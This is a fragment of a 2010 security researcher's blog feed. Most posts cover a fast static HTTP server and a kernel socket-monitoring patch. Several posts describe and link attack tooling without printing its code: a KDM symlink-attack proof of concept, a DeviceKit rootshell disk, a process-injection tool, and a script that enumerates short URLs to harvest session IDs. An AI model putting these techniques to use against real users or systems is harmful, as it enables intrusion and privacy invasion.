logging'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-1083820694777288143</id><published>2010-06-08T06:18:00.000-07:00</published><updated>2010-06-08T06:18:51.477-07:00</updated><title type='text'>Looking for lophttpd testbeds</title><content type='html'>&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I am looking for heavy loaded sites which serve static&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;content (e.g. banners, pictures,&amp;nbsp; iso's etc.) to test&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;my http server software and to help it to improve.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I added&amp;nbsp; some experimental features recently&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;which will be released soon and mainly consit of&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;various log providers to overcome possible bottlenecks&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;during logging.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;If you have&amp;nbsp; thousands requests/sec, writing out logs&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;can become an issue and I added support for AIO and&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;mmaped-backed buffers.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;If you are interested, drop me an email or a comment.I am&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;BTW also looking for donations of mobile devices&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;to continue my Android and WebOS research. :)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-1083820694777288143?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/1083820694777288143/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=1083820694777288143' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1083820694777288143'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1083820694777288143'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/06/looking-for-lophttpd-testbeds.html' title='Looking for lophttpd testbeds'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-2327003777979285834</id><published>2010-05-30T06:33:00.000-07:00</published><updated>2010-05-30T06:33:39.914-07:00</updated><title type='text'>New lophttpd packges fixes some issues</title><content type='html'>&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I just published &lt;a href="http://stealth.openwall.net/networking/lophttpd-0.81.tgz"&gt;version 0.81 of lophttpd&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;to fix potential access of not mapped memory areas&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;if large directories are autoindexed. Some other things&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;has been fixed too (see Changelog).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Thanks to Alexander Hagenah for reporting the autoindex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;issue.If you experiance any bugs or performance drops&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;or alike, please let me know.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-2327003777979285834?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/2327003777979285834/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=2327003777979285834' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2327003777979285834'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2327003777979285834'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/05/new-lophttpd-packges-fixes-some-issues.html' title='New lophttpd packges fixes some issues'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-3375262669912094937</id><published>2010-05-26T05:51:00.000-07:00</published><updated>2010-05-26T05:52:42.082-07:00</updated><title type='text'>CONFIG_UNIX_MONITOR=y</title><content type='html'>&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;I digged into the depth of network packet handling, softirq's&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;and packet queues and hacked down a &lt;a href="http://www.suse.de/%7Ekrahmer/unix-monitor-2.6.34.tgz"&gt;patch&lt;/a&gt; for the&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;2.6.34 kernel so that &lt;i&gt;PF_PACKET&lt;/i&gt; can be applied to&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;PF_UNIX&lt;/i&gt; sockets.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;The goal is to have a &lt;b&gt;unix&lt;/b&gt; interface one day which you&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;can pass to &lt;i&gt;pcap_create()&lt;/i&gt; and&amp;nbsp; &lt;i&gt;wireshark&lt;/i&gt; or &lt;i&gt;tcpdump.&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;With a e.g. DBUS dissector you can then monitor&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;the application level IPC to find the more unknown&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;bugs :-)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;The hard part now is to get this patch upstream,&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;so that it is available on a standard Linux distro&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;the same way you'd monitor your network traffic.&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-3375262669912094937?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/3375262669912094937/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=3375262669912094937' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3375262669912094937'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3375262669912094937'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/05/configunixmonitory.html' title='CONFIG_UNIX_MONITOR=y'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-932165580213242445</id><published>2010-04-21T09:10:00.000-07:00</published><updated>2010-04-21T09:16:13.327-07:00</updated><title type='text'>Small fix for lophttpd</title><content type='html'>&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I uploaded a &lt;a href="http://stealth.openwall.net/networking/lophttpd-0.75.tgz"&gt;new version of lophttpd&lt;/a&gt; since it was&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;not properly decoding URL escapes (%2B etc). Not&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;a security issue, but it was just ignoring escapes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;completely %-D&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; Since the download stats for lophttpd are quite&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;impressive, I quickly added it. I already found the first&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;lophttpd banners in the wild. :)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;The amount of download is of course not as impressive&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;as for &lt;i&gt;devshit&lt;/i&gt;. I think most people don't realize that&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;this is not an exploit that pops you up a rootshell.Instead&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;it sets up a portable HDD which, upon plugin into a vulnerable&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;i&gt;DeviceKit&lt;/i&gt; installation, creates a rootshell on the system.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;IOW you need console access.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-932165580213242445?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/932165580213242445/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=932165580213242445' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/932165580213242445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/932165580213242445'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/04/small-fix-for-lophttpd.html' title='Small fix for lophttpd'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-791797325333227886</id><published>2010-04-18T09:06:00.000-07:00</published><updated>2010-04-18T09:06:01.548-07:00</updated><title type='text'>CVE-2010-0436 PoC</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_DbsW_SGQJgI/S8ss81E8SkI/AAAAAAAAAHo/fme0Z5HRQGE/s1600/bambule-digitale.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_DbsW_SGQJgI/S8ss81E8SkI/AAAAAAAAAHo/fme0Z5HRQGE/s320/bambule-digitale.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;The fixes for the CVE-2010-0436 have been released last week,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;so comes the PoC. I wonder nobody has already done it yet,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;as its an easier one. Its a classic symlink attack in KDM&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;with an additional "trick" that requires to keep the&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;directory where the vulnerability happens has to be/made&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;owned by the user in order to work.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;The vulnerabilities in-depth description is &lt;a href="http://is.gd/byfTz"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-791797325333227886?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/791797325333227886/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=791797325333227886' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/791797325333227886'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/791797325333227886'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/04/cve-2010-0436-poc.html' title='CVE-2010-0436 PoC'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_DbsW_SGQJgI/S8ss81E8SkI/AAAAAAAAAHo/fme0Z5HRQGE/s72-c/bambule-digitale.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-6413673232418235822</id><published>2010-04-13T07:30:00.000-07:00</published><updated>2010-04-13T07:40:43.982-07:00</updated><title type='text'>Released simple&amp;fast webserver</title><content type='html'>&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I just released the &lt;a href="http://stealth.openwall.net/networking/lophttpd-0.74.tgz"&gt;lonely and poor httpd&lt;/a&gt;. Its not&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;RFC full-featured but was written as a study for&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;a single-threaded, high-speed HTTP server which&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;can handle tens of thousands connections simultaneously.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;It delivers static content, supports vhosts and autoindexing&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;on the fly. It doesnt need any config-file and runs&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;as nobody in a chroot for maximum security :)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;It avoids unnecessary userland/kernelland/socket-buffer copies&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;by using &lt;i&gt;sendfile(2)&lt;/i&gt;.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I tested it on Linux and FreeBSD. As long as your OS supports&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;i&gt;sendfile(2)&lt;/i&gt;, it should be easily portable.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-6413673232418235822?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/6413673232418235822/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=6413673232418235822' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6413673232418235822'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6413673232418235822'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/04/released-simple-webserver.html' title='Released simple&amp;fast webserver'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-1713143296128176401</id><published>2010-03-12T06:19:00.000-08:00</published><updated>2010-03-12T06:19:35.173-08:00</updated><title type='text'>Playing with URL shortening</title><content type='html'>&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;URLs cannot only be shortened. They also can be expanded. &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;Since&amp;nbsp; &lt;i&gt;a lot&lt;/i&gt; of&amp;nbsp; pople are using URL shortening services,&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;it was funny to reverse some randomly generated URLs.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Basically, you find peoples browser history including&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;session ID's etc. Not a big deal, but I think it could&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;be used to build some surf statistics and other nice&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;info gathering.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;The script can be found &lt;a href="http://is.gd/algXS"&gt;here&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Please be carefull not to hammer the servers; thats&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;actually why a sleep() was intriduced!&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-1713143296128176401?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/1713143296128176401/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=1713143296128176401' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1713143296128176401'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1713143296128176401'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/03/playing-with-url-shortening.html' title='Playing with URL shortening'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-6957579598304918777</id><published>2010-02-18T03:33:00.000-08:00</published><updated>2010-02-18T03:33:01.470-08:00</updated><title type='text'>New injectso -- Debian proof</title><content type='html'>&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;The new &lt;a href="http://stealth.openwall.net/local/injectso-0.51.tgz"&gt;injectso&lt;/a&gt; comes with a new technique to find the&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;address of the needed rtld function. Some systems (Debian based)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;make &lt;b&gt;/proc/pid/maps&lt;/b&gt; unavailable by default which&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;former &lt;i&gt;injectso&lt;/i&gt; needed to work properly.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;It now also works via &lt;b&gt;/proc/pid/auxv&lt;/b&gt; to read AT_BASE&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;and to calculate where rtld functions can be found.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;The &lt;i&gt;nm&lt;/i&gt; method is also still included for systems where&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;i&gt;libc&lt;/i&gt; exports symbol names.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;The &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;b&gt;/proc/pid/auxv &lt;/b&gt;method has only been tested on x86_64&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;but should work on x86 too.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Additionally, I am officially sorry for the coding style&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;of &lt;i&gt;injectso&lt;/i&gt; before v0.51. All the exploit coding makes a&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;terrible style and I will drop that for a while.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;The code has been cleaned up and is now readable and&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;something to learn from.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-6957579598304918777?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/6957579598304918777/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=6957579598304918777' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6957579598304918777'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6957579598304918777'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/02/new-injectso-debian-proof.html' title='New injectso -- Debian proof'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 